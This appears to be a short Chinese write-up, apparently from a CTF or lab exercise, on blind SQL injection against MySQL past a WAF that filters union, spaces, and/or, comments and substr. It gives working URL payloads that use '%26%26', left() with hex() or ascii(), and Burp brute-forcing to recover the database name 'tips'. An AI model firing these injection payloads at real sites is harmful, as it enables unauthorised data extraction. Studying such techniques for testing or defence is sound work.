盲注 hex编码绕waf(思路)


mysql分割函数有:substr、substring、left

当union、空格、and、or、注释、substr被过滤的时候如下

 可尝试用编码进行绕过,如URLEncode编码,ASCII,HEX,unicode编码绕过,上面代码没有过滤left,可以用left加上hex进行绕过

这里通过测试语句判断出是数字型注入

错误则不显示,用盲注试一下,

判断数据库长度语句(模板):

/?id=1'%20 and (length(database()))=8--+

payload:

?id=1%26%26hex(length(database()))>5  //and=&&  &=%26  

通过二分法得出数据库长度为:4

 

接下来判断数据库名:可通过burp抓包爆破,payload为:

?id=1%26%26hex(left(database(),1))=1    //(left(database(),1)   1表示数据库名第一位
也可以用ascii,原理一样:
?id=1%26%26ascii(left(database(),1))=116

第一个变量:数据库长度

第二个变量:hex编码 

payload options [Brute forcer] 最小长度为1,最大长度为8.

当然,最快的方法是爆出一位,填payload里再继续爆破下一位。

 payload options [Brute forcer] 填8,是因为ascii编码转过来是2位,见下图

 这种爆破方式较慢,没爆破完,结果如下:

payload为:

?id=1%26%26hex(left(database(),1))=74    //数据库第1位
?id=1%26%26hex(left(database(),2))=7469  //数据库第2位
?id=1%26%26hex(left(database(),3))=746970 // 数据库第3位  

 最后结果为:

 通过ascii与hex对照表得出数据库名:tips

相关